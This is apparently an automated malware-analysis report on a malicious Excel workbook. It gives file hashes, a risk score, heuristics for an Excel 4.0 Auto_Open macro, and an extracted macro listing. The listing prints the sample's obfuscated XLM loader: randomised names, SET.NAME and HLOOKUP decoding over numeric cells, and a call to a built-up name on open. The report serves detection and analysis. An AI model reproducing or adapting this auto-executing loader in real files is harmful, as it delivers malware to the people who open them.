Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 766be1bfa2a214ed…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:33 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 8c02583b1f8e82a75b9737473a91445f SHA-1: 1b218da4b1ad5c4e264d832e387cc11ddc87eaf9 SHA-256: 766be1bfa2a214ed5338c6c330f3ced7fe8a61f9e821874b4afdf9296c4ee6cb
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6717 bytes
SHA-256: b72632001120eb8db6517cf361d0476f2d57bfa02e3d940e8d47ac6a603f6e2c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YqDYuG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B164 
' 0018     20 LABEL : Cell Value, String Constant - AZgog len=0 
' 0018     24 LABEL : Cell Value, String Constant - bkwlxePUy len=0 
' 0018     24 LABEL : Cell Value, String Constant - BLUmvYzKy len=0 
' 0018     24 LABEL : Cell Value, String Constant - CqcUPCLdG len=0 
' 0018     22 LABEL : Cell Value, String Constant - FfSafvR len=0 
' 0018     26 LABEL : Cell Value, String Constant - hkfNoPPKmPO len=0 
' 0018     25 LABEL : Cell Value, String Constant - hnkCFZLeam len=0 
' 0018     24 LABEL : Cell Value, String Constant - imucqQEwn len=0 
' 0018     22 LABEL : Cell Value, String Constant - JZZzBuC len=0 
' 0018     22 LABEL : Cell Value, String Constant - KtNujsD len=0 
' 0018     22 LABEL : Cell Value, String Constant - naCnQvG len=0 
' 0018     25 LABEL : Cell Value, String Constant - nZYHYMKvgD len=0 
' 0018     27 LABEL : Cell Value, String Constant - opkzwzqkNFNo len=0 
' 0018     20 LABEL : Cell Value, String Constant - PkdaL len=0 
' 0018     21 LABEL : Cell Value, String Constant - uygiJr len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZBPns len=0 
' 0018     27 LABEL : Cell Value, String Constant - zmLulAdXvmNq len=0 
' 0018     23 LABEL : Cell Value, String Constant - zUsKJjRO len=0 
' 0018     25 LABEL : Cell Value, String Constant - zvcOcVdQdT len=0 
' 0018     23 LABEL : Cell Value, String Constant - zXvWxoWF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YqDYuG,B72,"SET.NAME("zXvWxoWF",0+VALUE("0"))",""
'  YqDYuG,B77,"SET.NAME("ZBPns",zXvWxoWF)",""
'  YqDYuG,S79,"",-564.00000000000000000000
'  YqDYuG,S80,"",-733.00000000000000000000
'  YqDYuG,S81,"",-696.00000000000000000000
'  YqDYuG,B82,"SET.NAME("bkwlxePUy",zXvWxoWF)",""
'  YqDYuG,S82,"",426.00000000000000000000
'  YqDYuG,S83,"",793.00000000000000000000
'  YqDYuG,B84,"SET.NAME("PkdaL",COUNTA(opkzwzqkNFNo))",""
'  YqDYuG,S84,"",-980.00000000000000000000
'  YqDYuG,B86,"SET.NAME("zmLulAdXvmNq",COUNTA(naCnQvG))",""
'  YqDYuG,B88,[],""
'  YqDYuG,B92,"SET.NAME("uygiJr","")",""
'  YqDYuG,B97,"ZBPns",""
'  YqDYuG,B99,"SET.NAME("AZgog",HLOOKUP("*",opkzwzqkNFNo,ZBPns,FALSE))",""
'  YqDYuG,B102,"KtNujsD",""
'  YqDYuG,B106,"SET.NAME("hnkCFZLeam",zXvWxoWF)",""
'  YqDYuG,B111,[],""
'  YqDYuG,B113,"hnkCFZLeam",""
'  YqDYuG,B117,"CqcUPCLdG",""
'  YqDYuG,B122,"BLUmvYzKy",""
'  YqDYuG,B125,"JZZzBuC",""
'  YqDYuG,B129,"SET.NAME("hkfNoPPKmPO",VALUE(HLOOKUP("*",naCnQvG,JZZzBuC,FALSE)))",""
'  YqDYuG,B131,"zUsKJjRO",""
'  YqDYuG,B133,"uygiJr",""
'  YqDYuG,B137,"bkwlxePUy",""
'  YqDYuG,B142,NEXT(),""
'  YqDYuG,B147,"zvcOcVdQdT",""
'  YqDYuG,B149,[],""
'  YqDYuG,B154,"nZYHYMKvgD",""
'  YqDYuG,B157,NEXT(),""
'  YqDYuG,B161,RETURN(),""
'  YqDYuG,B186,"SET.NAME("imucqQEwn",B72)",""
'  YqDYuG,B190,"opkzwzqkNFNo",""
'  YqDYuG,B192,"SET.NAME("naCnQvG",R54C11)",""
'  YqDYuG,B197,"SET.NAME("nZYHYMKvgD",207)",""
'  YqDYuG,B201,"SET.NAME("FfSafvR",2)",""
'  YqDYuG,B206,imucqQEwn(),""
'  YqDYuG,B207,HALT(),""

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